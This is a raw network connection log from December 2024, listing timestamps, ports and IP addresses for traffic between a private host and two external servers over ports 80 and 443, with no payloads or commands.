Dec 7, 2024 08:43:42.519865990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.520245075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.520303965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.520348072 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.521106005 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.521162033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.521218061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.521255016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.521934032 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.522007942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.522078037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.522124052 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.522773981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.522825956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.522990942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.523032904 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.523632050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.523683071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.523729086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.523766041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.524501085 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.524549961 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.524624109 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.524665117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.525316000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.525368929 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.525458097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.525496960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.526145935 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.526196957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.526268959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.526362896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.527023077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.527074099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.527194977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.527244091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.527887106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.527935982 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.528098106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.528377056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.528709888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.528759956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.528774977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.528815985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.529581070 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.529751062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.529752970 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.529791117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.530392885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.530440092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.530601978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.530683041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.531219959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.531270027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.531282902 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.531326056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.532092094 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.532145977 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.532174110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.532210112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.532932043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.532985926 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.533042908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.533082008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.533776045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.533814907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.533864021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.533905029 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.534605980 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.534650087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.534688950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.534778118 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.535459995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.535511971 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.535569906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.535609007 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.536293030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.536346912 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.536401033 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.536499023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.537134886 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.537189960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.537246943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.537326097 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.538065910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.538119078 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.538204908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.538244009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.538888931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.538943052 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.538980007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.539073944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.539657116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.539712906 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.539762974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.539825916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.540499926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.540550947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.540574074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.540608883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.541382074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.541426897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.541487932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.541524887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.542227030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.542294979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.542304039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.542339087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.543056965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.543108940 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.543241024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.543293953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.543879986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.543931961 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.543982983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.544018030 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.544723988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.544779062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.544903994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.544951916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.545694113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.545736074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.545770884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.545829058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.546420097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.546463013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.573172092 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.573684931 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.573744059 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.573761940 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.574311972 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.574316978 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.574817896 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.574836969 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.575299978 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.575304985 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.694509029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.694628000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.694708109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.694958925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.695033073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.695041895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.695077896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.695776939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.695831060 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.695858002 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.695900917 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.696595907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.696645021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.696724892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.696787119 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.697467089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.697561979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.697675943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.697719097 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.698313951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.698353052 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.698517084 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.698621988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.699156046 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.699194908 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.699224949 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.699260950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.699973106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.700018883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.700056076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.700093985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.700840950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.700884104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.700937986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.700978994 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.701674938 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.701831102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.701853037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.701888084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.702532053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.702574015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.702641010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.702744961 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.703370094 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.703411102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.703437090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.703474998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.704217911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.704277992 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.704288006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.704313993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.705069065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.705112934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.705195904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.705274105 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.705873013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.705913067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.706031084 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.706067085 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.706731081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.706787109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.706856966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.706891060 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.707567930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.707609892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.707612991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.707647085 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.708429098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.708492041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.708508015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.708545923 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.709242105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.709301949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.709371090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.709532022 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.710118055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.710163116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.710189104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.710232019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.711069107 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.711127043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.711194992 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.711236000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.711802959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.711850882 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.711859941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.711896896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.712601900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.712661028 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.712788105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.712835073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.713459015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.713511944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.713552952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.713589907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.714330912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.714396000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.714468956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.714512110 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.715167999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.715229034 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.715306044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.715372086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.716017008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.716073036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.716083050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.716120005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.716824055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.716877937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.716911077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.716949940 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.717700958 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.717763901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.717797995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.717868090 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.718513966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.718559980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.750251055 CET	443	49779	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.757594109 CET	49779	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.757613897 CET	443	49779	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.761476994 CET	49779	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.761482000 CET	443	49779	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.819082975 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.819134951 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.821439981 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.887095928 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.887151003 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.887227058 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.959521055 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.959521055 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.959561110 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.959570885 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.007831097 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.007900000 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.008102894 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.009687901 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.009747028 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.009802103 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.046145916 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.046159983 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.046170950 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.046178102 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.049143076 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.049149036 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.049160957 CET	49778	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.049164057 CET	443	49778	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.058362961 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.058377981 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.058387995 CET	49777	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.058393002 CET	443	49777	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.066765070 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.066797018 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.066852093 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.067893028 CET	49780	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.067908049 CET	443	49780	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.069782019 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.069814920 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.069861889 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.070164919 CET	49781	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.070177078 CET	443	49781	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.070297956 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.070307970 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.070364952 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.071460009 CET	49782	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.071474075 CET	443	49782	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.071623087 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.071630955 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.071676970 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.071844101 CET	49783	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.071852922 CET	443	49783	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.072843075 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.185419083 CET	443	49779	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.185486078 CET	443	49779	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.185601950 CET	49779	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.185870886 CET	49779	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.185875893 CET	443	49779	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.185895920 CET	49779	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.185899019 CET	443	49779	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.188668966 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.188702106 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.188776970 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.188940048 CET	49784	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:43.188951015 CET	443	49784	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:43.192526102 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.509675026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.509737015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.509753942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.509793043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.509829998 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.509876013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.509960890 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.510004997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.510709047 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.510751963 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.510782957 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.510821104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.511253119 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.511307001 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.511394024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.511442900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.512058973 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.512108088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:43.512173891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:43.512214899 CET	49759	80	192.168.2.5	185.215.113.206
